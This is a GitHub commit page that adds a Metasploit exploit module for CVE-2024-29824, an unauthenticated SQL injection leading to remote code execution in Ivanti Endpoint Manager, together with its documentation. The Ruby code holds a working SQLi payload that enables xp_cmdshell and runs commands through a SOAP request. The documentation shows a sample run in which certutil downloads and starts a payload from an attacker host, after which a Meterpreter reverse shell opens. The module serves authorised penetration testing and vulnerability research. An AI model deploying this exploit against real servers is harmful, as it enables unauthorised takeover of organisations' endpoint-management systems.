Skip to content

Commit aabd9fe

Browse files
committed
Land rapid7#19274, Ivanti EPM SQLi to RCE
This adds an exploit for CVE-2024-29824, an unauthenticated SQLi which can be used to obtain RCE in Ivanti Endpoint Manager 2022 SU5 and prior
2 parents 39cc743 + 2f238fc commit aabd9fe

File tree

2 files changed

+174
-0
lines changed

2 files changed

+174
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to
4+
unauthenticated SQL injection which can be leveraged to achieve unauthenticated
5+
remote code execution.
6+
7+
### Installation
8+
Download and run the installer of a vulnerable version of Ivanti Endpoint
9+
Manager (EPM) from https://www.ivanti.com/resources/downloads. Note that a
10+
service account with Ivanti is required.
11+
12+
## Verification Steps
13+
1. Install the application
14+
1. Start msfconsole
15+
1. Do: `use windows/http/ivanti_epm_recordgoodapp_sqli_rce`
16+
1. Do: `exploit rhost=<remote host>`
17+
1. You should get a session.
18+
19+
## Options
20+
21+
### DELAY
22+
The delay to detect if the target is vulnerable using time-based SQLi in second (default: 5)
23+
24+
## Scenarios
25+
26+
This has been tested against EPM version 2021.1 and 2022 (no Service Update) on Windows Server 2019
27+
```
28+
msf6 exploit(windows/http/ivanti_epm_recordgoodapp_sqli_rce) > exploit verbose=true rhosts=192.168.101.130
29+
30+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.101.40:8080/GgcI9uEq8wim98SvWzx8DQ %TEMP%\TXnDFJhrK.exe & start /B %TEMP%\TXnDFJhrK.exe
31+
[*] Fetch handler listening on 192.168.101.40:8080
32+
[*] HTTP server started
33+
[*] Adding resource /GgcI9uEq8wim98SvWzx8DQ
34+
[*] Started reverse TCP handler on 192.168.101.40:4444
35+
[*] Running automatic check ("set AutoCheck false" to disable)
36+
[*] Checking if the target is vulnerable using time-based SQLi (delay=5
37+
[*] Baseline query elapsed time: 0.5334880000445992
38+
[*] Delayed query elapsed time: 5.020284999860451
39+
[+] The target is vulnerable. SQLi executed
40+
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
41+
[*] Sending payload to 192.168.101.40 (Microsoft-CryptoAPI/10.0)
42+
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
43+
[*] Sending payload to 192.168.101.40 (CertUtil URL Agent)
44+
[*] Sending stage (201798 bytes) to 192.168.101.40
45+
[*] Meterpreter session 1 opened (192.168.101.40:4444 -> 192.168.101.40:64423) at 2024-06-20 10:50:21 +0200
46+
47+
meterpreter > getuid
48+
Server username: NT Service\MSSQL$LDMSDATA
49+
meterpreter > sysinfo
50+
Computer : WIN2019
51+
OS : Windows Server 2019 (10.0 Build 17763).
52+
Architecture : x64
53+
System Language : en_US
54+
Domain : WORKGROUP
55+
Logged On Users : 2
56+
Meterpreter : x64/windows
57+
```
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
class IvantiEpmRequestError < StandardError; end
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
19+
'Description' => %q{
20+
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
'James Horseman', # original PoC, analysis
25+
'Christophe De La Fuente' # Metasploit module
26+
],
27+
'References' => [
28+
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
29+
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
30+
[ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
31+
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
32+
[ 'CVE', '2024-29824']
33+
],
34+
'Platform' => ['windows'],
35+
'Privileged' => true,
36+
'Arch' => ARCH_CMD,
37+
'Targets' => [
38+
[ 'Automatic Target', {}]
39+
],
40+
'DisclosureDate' => '2024-05-24',
41+
'DefaultTarget' => 0,
42+
'Notes' => {
43+
'Stability' => [ CRASH_SAFE ],
44+
'Reliability' => [ REPEATABLE_SESSION ],
45+
# MS SQL logs will contain evidence of `xp_cmdshell` being used
46+
# Fetch payload cannot be deleted while a Meterpreter session is active
47+
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
48+
}
49+
)
50+
)
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
54+
OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
55+
]
56+
)
57+
end
58+
59+
def sqli_payload(cmd)
60+
"';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
61+
end
62+
63+
def xml_payload(sqli)
64+
<<~XML
65+
<?xml version="1.0" encoding="utf-8"?>
66+
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
67+
<soap12:Body>
68+
<UpdateStatusEvents xmlns="http://tempuri.org/">
69+
<deviceID>string</deviceID>
70+
<actions>
71+
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
72+
<status>GoodApp=1|md5=#{sqli}</status>
73+
</Action>
74+
</actions>
75+
</UpdateStatusEvents>
76+
</soap12:Body>
77+
</soap12:Envelope>
78+
XML
79+
end
80+
81+
def soap_request(sqli, timeout = 20)
82+
res = send_request_cgi({
83+
'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
84+
'method' => 'POST',
85+
'ctype' => 'application/soap+xml; charset="utf-8"',
86+
'data' => xml_payload(sqli)
87+
}, timeout)
88+
89+
raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res
90+
91+
res
92+
end
93+
94+
def check
95+
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
96+
97+
_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
98+
vprint_status("Baseline query elapsed time: #{elapsed1}")
99+
100+
_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
101+
vprint_status("Delayed query elapsed time: #{elapsed2}")
102+
103+
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
104+
return CheckCode::Vulnerable('SQLi executed')
105+
else
106+
return CheckCode::Safe('SQLi not executed')
107+
end
108+
rescue IvantiEpmRequestError => e
109+
return CheckCode::Unknown(e.to_s)
110+
end
111+
112+
def exploit
113+
soap_request(sqli_payload(payload.encoded), 1)
114+
rescue IvantiEpmRequestError
115+
# Expecting no response if an interactive payload such as Meterpreter is used
116+
end
117+
end

0 commit comments

Comments
 (0)